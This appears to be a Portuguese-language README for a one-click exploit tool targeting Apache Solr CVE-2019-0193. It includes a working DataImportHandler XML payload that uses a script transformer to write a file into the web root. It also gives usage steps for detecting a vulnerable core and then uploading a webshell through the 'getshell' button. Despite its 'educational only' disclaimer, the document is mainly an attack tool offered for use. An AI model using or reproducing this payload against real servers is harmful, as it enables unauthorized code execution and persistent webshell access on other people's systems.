
ApacheSolrRCE (CVE-2019-0193) grava shell com um clique; o princípio é gravar o webshell por meio do fluxo de arquivos Java executado pelo código.
Apenas para fins educacionais e de troca de informações de segurança. Não use para testes ou ataques ilegais.
ApacheSolrRCE (CVE-2019-0193) escreve shell com um clique, o princípio é escrever o webshell através do fluxo de arquivos Java executado pelo código.
Nota: O autor é iniciante. Se você encontrar bugs ou tiver outras necessidades, baixe o código e modifique você mesmo.
Como os payloads que circulam na internet são todos de execução de comandos e não são convenientes para carregar webshell, escrevi este payload (quando exibe 123456, representa que a escrita foi bem-sucedida).
Nota: A ferramenta é apenas para auxiliar testes. Se não conseguir escrever com a ferramenta, recomenda-se fazer manualmente.
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>

Primeiro clique em 'Detectar' para obter o core e verificar se há vulnerabilidades.
Em seguida, clique em 'getshell'.
Nota: Coloque seu webshell no diretório 'shell'. A ferramenta carregará automaticamente seu webshell na lista suspensa.

O proxy padrão é HTTP proxy, porta 8080, está fixo no código. Se precisar, compile e modifique você mesmo.
